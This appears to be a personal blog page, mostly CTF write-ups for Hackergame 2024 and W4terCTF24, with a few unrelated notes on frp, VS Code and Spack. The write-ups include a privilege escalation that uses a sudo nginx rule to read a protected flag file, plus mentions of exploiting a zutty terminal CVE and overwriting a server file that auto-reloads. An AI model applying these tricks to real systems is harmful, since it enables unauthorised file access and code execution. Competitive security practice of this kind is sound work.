g_printerr("Failed to append file descriptor to list: %s\n", error->message);
g_error_free(error);
g_object_unref(fd_list);
g_object_unref(connection);
close(pipe_fds[0]);
return 1;
}

// 调用 GetFlag2 方法
result = g_dbus_connection_call_with_unix_fd_list_sync(
connection,
"cn.edu.ustc.lug.hack.FlagService", // 服务名
"/cn/edu/ustc/lug/hack/FlagService", // 对象路径
"cn.edu.ustc.lug.hack.FlagService", // 接口名
"GetFlag2", // 方法名
g_variant_new("(h)", 0), // 参数 (文件描述符索引)
G_VARIANT_TYPE("(s)"), // 返回值类型
G_DBUS_CALL_FLAGS_NONE,
-1,
fd_list,
&out_fd_list,
cancellable,
&error
);

if (result == NULL) {
g_printerr("Failed to call GetFlag2 method: %s\n", error->message);
g_error_free(error);
g_object_unref(fd_list);
g_object_unref(connection);
close(pipe_fds[0]);
return 1;
}

// 解析返回值
g_variant_get(result, "(s)", &flag2);
g_print("Flag2: %s\n", flag2);

// 释放资源
g_variant_unref(result);
g_free(flag2);
if (out_fd_list != NULL) {
g_object_unref(out_fd_list);
}
g_object_unref(fd_list);
g_object_unref(connection);
close(pipe_fds[0]);

return 0;
}

第三问

也是忘记了。。好像是自己写一个getflag3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#define _GNU_SOURCE
#include <fcntl.h>
#include <gio/gio.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define DEST "cn.edu.ustc.lug.hack.FlagService"
#define OBJECT_PATH "/cn/edu/ustc/lug/hack/FlagService"
#define METHOD "GetFlag3"
#define INTERFACE "cn.edu.ustc.lug.hack.FlagService"

int main() {
GError *error = NULL;
GDBusConnection *connection;
GVariant *result;
gchar *flag3;

connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
if (!connection) {
g_printerr("Failed to connect to the system bus: %s\n", error->message);
g_error_free(error);
return EXIT_FAILURE;
}

// Call the D-Bus method
result = g_dbus_connection_call_sync(connection,
DEST, // destination
OBJECT_PATH, // object path
INTERFACE, // interface name
METHOD, // method
NULL, // parameters
G_VARIANT_TYPE("(s)"), // expected return type
G_DBUS_CALL_FLAGS_NONE,
-1, // timeout (use default)
NULL, &error);

if (result) {
// 检查返回值的类型
if (g_variant_is_of_type(result, G_VARIANT_TYPE("(s)"))) {
// 解析返回值
g_variant_get(result, "(s)", &flag3);
g_print("Get result: %s\n", flag3);
g_free(flag3);
} else {
g_printerr("Unexpected return type from D-Bus method.\n");
}
g_variant_unref(result);
} else {
g_printerr("Error calling D-Bus method %s: %s\n", METHOD, error->message);
g_error_free(error);
}

g_object_unref(connection);

return EXIT_SUCCESS;
}

RISC-V:虎胆龙威

只会做第二问。

既然内存不能用,那就直接在寄存器上排序就好了。反正有32个寄存器,够用。

汇编代码写了1000行,没有用循环,总之很暴力。

实际上第一问应该也好做,当时实在太困了没发现shift指令是可以用的。

动画分享

第一题

问O1可以得到一个rust字符串切片的特性:从utf8字符中间切片会导致崩溃。

所以传GET 你好就行。

第二题

可以搜到zutty的相关cve。在本地配置好zutty环境(配了半天)进行测试,发现程序printf显示那个poc后,还需要停止,才能让zutty执行命令。

(有人和我一样先做出的第二题发现还要用到第一题的东西吗

关灯

只会前3问。把对应的异或关系整理出来,然后z3solver。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
# def convert_switch_array_to_lights_array(switch_array: numpy.array) -> numpy.array:
# # 初始化一个与switch_array相同形状的零数组
# lights_array = numpy.zeros_like(switch_array)
# # 使用按位异或操作来计算灯光数组
# lights_array ^= switch_array # l000=s000
# lights_array[:-1, :, :] ^= switch_array[1:, :, :] # l000 ^= s100
# lights_array[1:, :, :] ^= switch_array[:-1, :, :]
# lights_array[:, :-1, :] ^= switch_array[:, 1:, :] # l000 ^= s010
# lights_array[:, 1:, :] ^= switch_array[:, :-1, :]
# lights_array[:, :, :-1] ^= switch_array[:, :, 1:] # l000 ^= s001
# lights_array[:, :, 1:] ^= switch_array[:, :, :-1]
# return lights_array

switches = []
n = 11
for i in range(n**3):
switches.append([])


def get_turple(idx):
l1 = idx // n*n
l2 = (idx % n*n) // n
l3 = idx % n
return l1, l2, l3

def getswitchs0():
for l1 in range(0, n):
for l2 in range(0, n):
for l3 in range(0, n):
s1 = l1
s2 = l2
s3 = l3
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

def getswitchs1():
for l1 in range(0, n - 1):
for l2 in range(0, n):
for l3 in range(0, n):
s1 = l1 + 1
s2 = l2
s3 = l3
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

def getswitchs2():
for l1 in range(1, n):
for l2 in range(0, n):
for l3 in range(0, n):
s1 = l1 - 1
s2 = l2
s3 = l3
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

def getswitchs3():
for l1 in range(0, n):
for l2 in range(0, n-1):
for l3 in range(0, n):
s1 = l1
s2 = l2 + 1
s3 = l3
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

def getswitchs4():
for l1 in range(0, n):
for l2 in range(1, n):
for l3 in range(0, n):
s1 = l1
s2 = l2 - 1
s3 = l3
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

def getswitchs5():
for l1 in range(0, n):
for l2 in range(0, n):
for l3 in range(0, n-1):
s1 = l1
s2 = l2
s3 = l3 + 1
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

def getswitchs6():
for l1 in range(0, n):
for l2 in range(0, n):
for l3 in range(1, n):
s1 = l1
s2 = l2
s3 = l3 - 1
idx_l = l1 * n*n + l2 * n + l3
idx_s = s1 * n*n + s2 * n + s3
switches[idx_l].append(idx_s)

getswitchs0()
getswitchs1()
getswitchs2()
getswitchs3()
getswitchs4()
getswitchs5()
getswitchs6()
print(switches)


from z3 import *

# 创建n**3个布尔变量
x = [Bool(f'x_{i}') for i in range(n**3)]

# 创建一个Z3求解器实例
solver = Solver()

# 定义递归函数来计算多个变量的异或
def multi_xor(variables):
if len(variables) == 1:
return variables[0]
else:
return Xor(variables[0], multi_xor(variables[1:]))

# 定义约束条件
# constraints = [
# ([0, 1, 2], 0), # x[0] ^ x[1] ^ x[2] = 0
# ([3, 4, 5], 1), # x[3] ^ x[4] ^ x[5] = 1
# ([6, 7, 8], 0), # x[6] ^ x[7] ^ x[8] = 0
# ([9, 10, 11], 1), # x[9] ^ x[10] ^ x[11] = 1
# ([12, 13, 14], 0), # x[12] ^ x[13] ^ x[14] = 0
# ([15, 16, 17], 1), # x[15] ^ x[16] ^ x[17] = 1
# ([18, 19, 20], 0), # x[18] ^ x[19] ^ x[20] = 0
# ([21, 22, 23], 1), # x[21] ^ x[22] ^ x[23] = 1
# ([24, 25, 26], 0) # x[24] ^ x[25] ^ x[26] = 0
# ]
constraints = []
constraint_res_str = "01010000100001011000011001111010011001000000001111010101100011110101010001110010011100101100000001101001000111010100001110100101011011110100101110010111111111001111001100110110011010010110011110110110111011101100000001100011010000111000001011110111010110000101010110001110011101001111100100111010011010111100101101100110100100101100110101110001110000010111001110010110011100101010101010101011110010010011001111100111010000111110010111100011101110001110101110011101011000011111010010000111100101101011010011011110111110101100101000010101010110010010010110010010001000001101011100111011110110110100101010100011100010110011100000010101111111001010111001101011100010100000110111111110100011010100011001111000001000110011110110100010111010101110000110101110111000000111100010011111111111100101111101111001101111001010111010111100011111001100111111100110110100011001111010010100110001100100111100001100001011011010111000100111111000110010011110000010011001101101111111100101111111100000100001011111010011100100110011110001000111111111111010100001111100011101001000111010100100101100101101111100110000101011001010110011110101011010100101101000111110100011001010010101111111101010001111101001100000111100100001101010100111001011101010101010101011000101101011110010100100101010010101011100010111001001010110110010000100010111010101010011101"
for i in range(n**3):
constraints.append((switches[i], int(constraint_res_str[i])))

# 添加约束条件
for indices, result in constraints:
variables = [x[i] for i in indices]
solver.add(multi_xor(variables) == (result == 1))

# 检查是否有解
if solver.check() == sat:
model = solver.model()
solution = [is_true(model[x[i]]) for i in range(n**3)]
solution_str = "".join(map(lambda x: "1" if x else "0", solution))
print(solution_str)
else:
print("No solution found.")

禁止内卷

有提示

而且有的时候助教想改改代码,又懒得手动重启,所以还开了 --reload

所以自己写个服务端,直接去把服务端python文件给覆盖了就行。

哈希三碰撞

只会第一问。就是0xfF和0xff会解析成同一个二进制,又能绕过检测。

零知识数独

第一问模拟键盘输入就行。

第二问用一下零知识证明相关的库,不需要有什么逆向。

第二问应该只是让做第三问的人让人熟悉一下zk这些库吧,可惜第三问没去做。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# -*- coding: utf-8 -*-
import time
import pyautogui
class Solution(object): #定义数独类

def solveSudoku(self, board): #self为初始矩阵,board为生成矩阵

def isvaild(i,j):#验证board矩阵中是否存在不符合数独规则的数据

#对每一列,数字不重复,否则返回false
for m in range(9):
if m!=i and board[m][j]==board[i][j]:
return False
#对每一行,数字不重复,否则返回false
for n in range(9):
if n!=j and board[i][n]==board[i][j]:
return False
#对每一宫,数字不重复,否则返回false
for m in range(i//3*3,i//3*3+3):
for n in range(j//3*3,j//3*3+3):
if m!=i and n!=j and board[m][n]==board[i][j]:
return False
return True

def f(a,b,board):#为初始数独矩阵每个空格随机填入1-9任一数字
for i in range(a,9):
for j in range(b,9):
if board[i][j]=='.':
for c in '123456789':
board[i][j]=c
if isvaild(i,j):#通过数独验证,返回ture
if f(a,b,board):return True
else: board[i][j]='.'
else: board[i][j]='.'#未通过数独验证,重新置空
return False
return True #直到所有空格都已填满并通过验证,返回真值
f(0,0,board)#从(0,0)开始遍历
return board



with open("html.txt") as f:
html = f.read()
values_html = html.split("value=\"")
values = []
tmp_values = []
for value_html in values_html[1:]:
# every 9 into values
value = value_html.split("\"")[0]
if value == "":
tmp_values.append(".")
else:
tmp_values.append(value)
if len(tmp_values) == 9:
values.append(tmp_values)
tmp_values = []
print(values)



s=Solution()
board = values
time.sleep(0.5)
idx = 0
auto_str = ""
for line in s.solveSudoku(board):
for value in line:
idx += 1
# js += f"document.querySelector('body > div > div:nth-child(3) > div > div:nth-child(2) > input[type=number]:nth-child({idx})').value={value};"
auto_str += f"{value}\t"
pyautogui.typewrite(auto_str)
# print(js)

先不说关于我从零开始xxx(LLM)

第一题

用github下载的英文词表对照,还是死活做不出来。后来用llm生成很多次,整理成词表,发现有个xxxx我一直翻译成race,实际上可以是game,就过了。

第二题

大模型是一个一个token输出的:从某段文本生成一个token,然后加入该文本末尾,继续生成。

即使seed不同,一样的输出token肯定也在概率最高的几个里面。

基于这两点,可以进行dfs。

关于让llama从某个前缀开始生成,可以先调试定位到它添加<|im_end|>\n<|im_start|>assistant\n的地方,然后把添加这个后缀的代码去掉。具体在llama_chat_format.py 的575行左右。

另外这玩意是可以上卡的,不过编译gpu版本需要很长时间。开始写代码之前新建一个venv装gpu版本的llama cpp,代码写完也差不多编译好了。用自己机器上4060,总体还是快很多的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import random
from llama_cpp import Llama, llama_cpp
import sys
import io
import json
import hashlib
from copy import deepcopy
import traceback
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')


def check_is_valid(token, offset):
# print("check: ", token, after_txt[offset:offset + len(token)])
len_token = len(token)
for i in range(len_token):
if after_txt[offset + i] == "x":
if token[i] not in "hackergame of ustcx":
return False
else:
if after_txt[offset + i] != token[i]:
return False
return True

# 初始化 Llama 模型

with open ("vocab.txt", "r", encoding="utf-8") as f:
vocab = f.read().splitlines()

llm = Llama(
model_path="qwen2.5-3b-instruct-q8_0.gguf",
n_ctx=1024,
seed=random.SystemRandom().randint(0, 2**64),
logits_all=True,
n_gpu_layers=-1
)

# exit()
with open ("after.txt_bak", "r", encoding="utf-8") as f:
after_txt = f.read()

expected_len = len(after_txt)

def guess_token(before: str):
if len(before) == expected_len:
if hashlib.sha256(before.encode()).hexdigest() == "f0d1d40fdef63ea6a6dc97ba78a59512deb07ad9ecad1e3fd16c83151d51fe58":
print("SUCCESS!!!!!!!")
print(before)
exit()
if " " in before:
return
messages=[
{
"role": "system", "content": "You are a professional CTF player."},
{
"role": "user",
"content": "Write a short article for Hackergame 2024 (中国科学技术大学 (University of Science and Technology of China) 第十一届信息安全大赛) in English. The more funny and unreal the better. About 500 words.<|im_end|>\n<|im_start|>assistant\n",
},
]
messages[-1]["content"] += before
# print(f"guess({len(before)}): \n{before}")
print(f"guess({len(before)})", flush=True)
offset = len(before)
# print(messages[-1]["content"])
while True:
try:
completion = llm.create_chat_completion(
messages=messages,
logprobs=True,
top_logprobs=10,
max_tokens=1
)
break
except ValueError as e:
traceback.print_exc()
before_contest = llm.tokenize(messages[-1]["content"])
before_contest = before_contest[1:]
messages[-1]["content"] = llm.detokenize(before_contest).decode()
continue
# tokens = completion["choices"][0]["logprobs"]["tokens"]
top_logprobs = completion["choices"][0]["logprobs"]["top_logprobs"]
# print(top_logprobs)
for token, prob in top_logprobs[0].items():
if token == "":
continue
# print("token: ", token)
if check_is_valid(token, offset):
# print("len(before): ", len(before), "token: ", token.encode())
guess_token(before + token)



first_before = ""
print("start")
guess_token(first_before)

一些感受

hackergame打了23和24两年,实际上今年花在hg的时间是比去年多一些的,但排名反而降了。。

主要还是没做出一百人通过的不等式第二问。还有旅行照片3,零零总总几个小时也没搞出来,在比赛结束前5分钟找到了后来群里说的那个视频,但时间不够了没能找到医院。。有够刺激的。这两道加起来400分了😭。

还有就是码力还是太弱了,基本上天天都在写bug和找gpt生成的bug,调试花费了大量时间。最后有好多题目甚至都没来得及看。。(顺便吐槽一下题目是不是有点多了)

最后,被大一学弟薄纱了…

image-20241110203719283

远程服务器无法连接互联网的情况下使用vscode copilot

https://github.com/orgs/community/discussions/52369#discussioncomment-9920089

Step by step:

cmd+shift+p to open the command panel

1
>Preferences: Open Remote Settings (JSON) (SSH: ...)

Update the file to

1
2
3
4
5
6
7
8
9
10
{
"remote.extensionKind": {
"GitHub.copilot": [
"ui"
],
"GitHub.copilot-chat": [
"ui"
],
},
}

Save

cmd+shift+p to open the command panel

1
>Developer: Reload window

用quic协议解决frp被运营商阻断的问题

tcp的frp会被运营商阻断。测试环境:frps、frpc均为0.59.0版本,frps在国内阿里云(无备案),frpc在:与frps同一台机器、azure新加坡,都可以正常连接,但frpc在校园网windows、校园网linux、移动云电脑linux无法连接,报错:

1
login to the server failed: i/o deadline reached. With loginFailExit enabled, no additional retries will be attempted

推测是被运营商阻断。

解决方法是使用quic协议。主要是设置frps的quicBindPort(可以和bindPort相同),以及frpc的 transport.protocol = "quic"

另外由于quic是基于udp的(?),所以记得开放服务器安全组的udp协议端口。

配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# frpc.toml
serverAddr = "xxx"
serverPort = 27000
auth.method = "token"
auth.token = "xx"
transport.protocol = "quic"

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 10001

[[proxies]]
name = "test2"
type = "tcp"
localIP = "127.0.0.1"
localPort = 222
remotePort = 10001
1
2
3
4
5
6
7
8
9
10
11
# frps.toml
bindPort = 27000
quicBindPort = 27000
auth.method = "token"
auth.token = "xx"

# Server Dashboard,可以查看frp服务状态以及统计信息
webServer.addr = "0.0.0.0" # 后台管理地址
webServer.port = 7500 # 后台管理端口
webServer.user = "xx" # 后台登录用户名
webServer.password = "xx" # 后台登录密码

python自定义logger

输出到控制台。

解决输出日志设置不生效的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
import logging
def logger() -> logging.Logger:
logger = logging.getLogger()
handler = logging.StreamHandler()
formatter = logging.Formatter('[%(asctime)s] [%(levelname)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
return logger

if __name__ == '__main__':
logger().info("Hello, World!")
# [2024-05-14 00:37:17] [INFO] Hello, World!

Spack常用操作

环境配置

1
spack compilers

列出可用的编译器列表。

1
spack compiler find

添加已有编译器,可以检测系统自带编译器并添加。

1
export SPACK_USER_CONFIG_PATH=/home/team1/zrh/softwares/spack/etc/spack/defaults

设置配置文件为只使用自己安装目录的,而不是用户目录 ~/.spack和系统目录。多人使用同用户的情况下,可以防止干扰。

软件安装

1
spack clean -a

清除缓存

导入到module

1
spack module tcl refresh --delete-tree

生成modulefile

1
/home/team1/zrh/softwares/spack/share/spack/modules/linux-debian12-zen3/

生成的modulefile的位置

1
export MODULEPATH=/home/team1/zrh/softwares/spack/share/spack/modules/linux-debian12-zen3/:$MODULEPATH

添加进MODULEPATH。这样module ava可以识别到该目录。

W4terCTF24 SCC旅游队WP(部分)

image-20240501000403233

image-20240501000343394

MISC

Priv Escape

既然是提权,进去之后 cat /etc/passwd,发现有一个r00t用户。

sudo -l,发现W4terCTFPlayer用户可以无密码以r00t用户身份运行/usr/sbin/nginx.

然后发现flag在 /tmp/flag下,且文件读权限属于 r00t

r00t身份配置nginx开启一个web服务,输出flag即可。

但没有权限修改/etc/nginx/nginx.conf,所以在所有用户都可以访问的 /tmp下创建配置文件,然后 nginx -c指定之。

但还是会报错,查阅后修改pid文件路径就行。

1
2
3
4
5
6
7
8
9
10
11
12
pid /tmp/nginx.pid;  

events {}

http {
server {
listen 2829;
location /flag {
alias /tmp/flag;
}
}
}
1
2
sudo -u r00t /usr/sbin/nginx -c /tmp/nginx.conf
curl http://localhost:2829/flag

image-20240429010916220

broken.mp4

搜索找到工具

image-20240429011127178

Revenge of Vigenere

可以猜出的明文有:

  1. W4terCTF
  2. 单个字母的单词,只有a(虽然u和i也有可能,但还是这么假设了)

总共14个字母。

读代码可知,

  1. 密文只与key、字母、位置有关。
  2. 加密每个字母位置,只使用到key里的其中一个字母。
  3. 如果知道key的长度,就可以知道加密某个位置使用的是哪个key里的字母。

枚举key长度,然后对这14个已知明文,枚举对应位置的key,复杂度14 * 26 * 10,发现可以稳定排除到只剩下一种key长度。

多开几次终端,直到随机到的key长度为10,发现剩下800种可能的key。

生成800个可能的明文,然后用2字母单词表,排除所有不合法的明文,最后只剩下30个明文,且flag都是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import copy
from recv_mi import recv_mi
possible_key = []
known_chars = {
609: "W",
610: "4",
611: "t",
612: "e",
613: "r",
614: "C",
615: "T",
616: "F",
16: "a",
336: "a",
557: "a",
598: "a",
739: "a",
759: "a"
}


def get_cipher(idx, ming_char, key_char):
key_offset = ord(key_char) - 65

if ming_char.isupper():
base = ord('A')
else:
base = ord('a')

if (idx + 1) % 2 == 1: # 偶数
encrypted_char = chr(
(ord(ming_char) - base + idx * key_offset) % 26 + base)
else: # 奇数
encrypted_char = chr(
(ord(ming_char) - base - idx * key_offset) % 26 + base)
return encrypted_char


def update_key(idx, ming, mi):
enumerate_str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
possible_key_chars_for_this_update = []
for key_char in enumerate_str:
# print(key)
# print(get_cipher(idx, ming))
# print(mi)
if get_cipher(idx, ming, key_char) == mi:
# print("idx: ", idx, "ming: ", ming, "mi: ", mi, "key_char: ", key_char)
possible_key_chars_for_this_update.append(key_char)
# print("len: ", len(key), "idx: ", idx%len(key), "key_char: ", key_char)
# print(possible_key_chars_for_this_update)
# print(idx % key_len)
tmp_possible_key = copy.deepcopy(possible_key[idx % key_len])
for k in tmp_possible_key:
if k not in possible_key_chars_for_this_update:
possible_key[idx % key_len].remove(k)




# LCDBMYXYFUOZJRCW
# for i, k in known_chars.items():
# print(i, k, original_text[i])

while True:
original_text = recv_mi()

keyidx_ming_mi = {

}
key_idx = 0
for idx, c in enumerate(original_text):
if idx in known_chars.keys():
keyidx_ming_mi[key_idx] = (known_chars[idx], c)
if c.isalpha():
key_idx += 1

# print(keyidx_ming_mi)



for key_len in range(10, 20):
possible_key = [["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"] for _ in range(key_len)]
for idx, (ming, mi) in keyidx_ming_mi.items():
update_key(idx, ming, mi)
if [] in possible_key:
continue
if key_len != 10:
continue
print("key_len: ", key_len)
print(original_text)
for k in possible_key:
print(k)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket

# 设置目标主机和端口
def recv_mi():
host = '127.0.0.1'
port = 7384

# 创建socket对象
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到服务器
client_socket.connect((host, port))

text = client_socket.recv(1090)
text = text.decode()[:-1]
# print(text)

# 关闭连接
client_socket.close()
return text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import itertools
"""
Vhwdb! Tx cyjs, b nuaidv fzmmcdgoljeg jvjuzzv, nyfd uqasmyjmzrf ay dfrm hjeiaa maj kogjxsj xh hge kchkwynpdxni bz Rqui. Mvle Qumadq, qw jmui Xogyrt fj Gwxcia, fo tt Oskxtql ek pik Vce hfztdr, lwu Yadegh, Mqdqrppb, nc spc gisz Npzhl Bqzaj ag vww Jqeohohgispqms mol Pjpixfpnm fxnn fxfc hbfq Quficuhl. Ewzixok, nukj Zlhyldwp Rtsbhsxtyu ek w ce-gcuw Mowscgwl, vtbrwg Mylqeqpb, nxc pyk Qerwk zv Vgphsnei vwwgq Ikcgg ykn Reaikecn Agvsnj euwwhudt-jrz Jloz mhd Saxkeadjkxz nug Mmzhohinv Rtcbcmw lxk Ltnbiicbk Msndjrqmq og Zhzzjywm. Ixgqcs bfan Ljjake ol Xvpgatkiq, o Hroaky Tbcpeps nf Kcsfmifpriw uzydwfw: t Jdddmvlb I4wmoKWJ{63p34Da_7bR_o4jo_GEQYc3Tb_oeReY3k_F4NU_Dy7M_rFt634nQL}, qvd Uaeykgrut Zxqkeh nnz Ggpdnzw. Lcu jfse Cexfzay ut Xtfuqntrk; v Tbxzachz, htfi cw g Akcceu, aif yo Ztwq, rjd nhb Hdtrm drf Fxlnezxj kp mjee osaez grp nho Aeojiqhlv dgw Egogoaox tbu jxm Uqcrhytap mjee osaez grp nho Aeojiqhlv dgw Egogoaox tbu jxm Uqcrhyta. Twmygq, anps Bktfdetqxks as Btxwgxqa Rnsqs bixv Zkwxxmn, orn iyulbb lfn Hilryha iqhw vrx Pvdieyp Fixeb kq Vtzahldpes. Eo zhwz Nvsm, ac ga kb Vfvr ufet pnvzp gy lmcl tep suj foa orw hmmn bw J.
['K', 'X']
['H']
['H', 'U']
['U']
['B', 'O']
['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
['G', 'T']
['Z']
['C', 'P']
['L']
"""

possible_keys = {
0: ['B', 'O'],
1: ['J'],
2: ['L', 'Y'],
3: ['J'],
4: ['A', 'N'],
5: ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'],
6: ['B', 'O'],
7: ['I'],
8: ['H', 'U'],
9: ['X'],
}

# 根据字典的键(即位置)对列表进行排序
sorted_keys = sorted(possible_keys.keys())

# 获取每个位置的字符列表
choices = [possible_keys[k] for k in sorted_keys]

# 生成所有可能的key组合
all_keys = itertools.product(*choices)


plaintext = "Vfekx! Kt rmfg, f jhmhby rfowmwivlaow zlhtrox, sgfh qcfajccsjjh aj bkxt ldkqor anr fqkdlug bc rpe ykbazsqbavle bd Aafw. Xrto Wmbawg, pq bkgo Sehqel hv Yqyiru, ge ft Martkma sg dmg Iod filzfb, vpw Fauowx, Cocigruj, ng obh ofws Tzrjl Moegq ea bek Aerwcqlawumuhc voz Xdflribkk dtnr ohqq sxna Wmuivkgf. Wulosel, fhcl Ldbzrmqq Hfszpztkuj sg k ga-totu Pacumqpn, ctsbmw Cwkitsuj, nby bds Nikcu rx Vrnmyuic bekxe Vsxik syp Oivsteqv Uwymqv bsushymd-ufk Ftyf ewd Lqwewyppfna fhy Oyrbpnrhw Hfczkts ctz Zpbfevoai Petftbjox ox Jxpphxob. Kcoqgo nkik Pcpkcg ow Vavnenqqe, f Vewvmc Npemikc wf Ykmvpcibogu qzcmgqk: e Flnjeklu Y4vggIIP{63k34Tb_7tE_g4la_YYREl3Nc_eqRcG3r_B4EQ_Sm7I_fJp634aCK}, oyp Acoidiyuk Jngacg fcb Lophjlb. Tzy clcw Eeidegf yn Dbtleabmm; z Npzwexri, hhnc sz a Dwzacq, amo iz Nesy, bpv chu Xcnjk pxa Vydawbjb eq ssyf eeach nng jwc Wssfvcgjy pmy Oqhivafh jrk hwe Jshzhcpm. Yejczw, kfrs Miylkinwfyj of Jozaalsx Viczs pqrl Cezjukl, krr rifzmx tpt Zxlkogu aotc qhy Hivkqqj Gogyc ac Vrhhdczeso. Ss vuiy Lyes, cm qt mi Vwfh kvcs hcxex gc hyht qii yeb hol mwc oqgt jk A."
# get all possible keys


def decrypt_vigenere_variant(ciphertext, key):
key_index = 0
key_length = len(key)
plaintext = ''
text_index = 0

for idx, char in enumerate(ciphertext):

if char.isalpha():
key_char = key[key_index % key_length].upper()
key_offset = ord(key_char) - 65

if char.isupper():
base = ord('A')
else:
base = ord('a')

if (text_index + 1) % 2 == 1: # 偶数
decrypted_char = chr(
(ord(char) - base - text_index * key_offset) % 26 + base)
else: # 奇数
decrypted_char = chr(
(ord(char) - base + text_index * key_offset) % 26 + base)

plaintext += decrypted_char
key_index += 1
text_index += 1
else:
plaintext += char

return plaintext

possible_2_words = [
"am",
"an",
"as",
"at",
"ax",
"by",
"do",
"er",
"go",
"gs",
"ha",
"he",
"hi",
"ho",
"if",
"in",
"is",
"it",
"ma",
"me",
"my",
"no",
"of",
"on",
"or",
"so",
"to",
"uh",
"um",
"up",
"us",
"we",
]

def check_two_letter_words(s):
s = s.lower() # 转换成小写
words = s.split(" ") # 按空格分割成单词
# for word in words:
# if len(word) == 2 and word[0].isalpha() and word[1].isalpha():
# print(word)
for word in words:
if len(word) == 2 and word[0].isalpha() and word[1].isalpha() and word not in possible_2_words:
return False # 如果是2字母单词且不在列表中,返回False

return True # 所有2字母单词都在列表中

# 打印所有可能的key
f = open("keys.txt", "a")
for key_tuple in all_keys:
key = ''.join(key_tuple)
# print(decrypt_vigenere_variant(plaintext, key))
ming = decrypt_vigenere_variant(plaintext, key)
if not check_two_letter_words(ming):
continue
f.write(ming + "\n")
# print(key)

image-20240429012416643

Spam 2024

image-20240429012549558

用这玩意解码,得到emoji,然后用emoji aes解码,用🔑作为密码可以解(我们3个人想了3天)。

得到

image-20240429012707068

然后就卡了两天。。发现这个网站有问题,换一个就可以

image-20240429012852126

后面看起来就是base64(异或个数?),ciberchef工具可解。

image-20240429012948673

Sign In

image-20240429013159615

队友做的,我也不知道怎么想到的。。太抽象。

CRYPTO

Wish

生成一个接近114514的随机数就行。发现seed和随机次数都是我们可控的,且范围限制了,枚举可以生成接近114514的组合就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, request, jsonify, send_from_directory
import random
import string
import os
import time
import requests
from functools import wraps
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
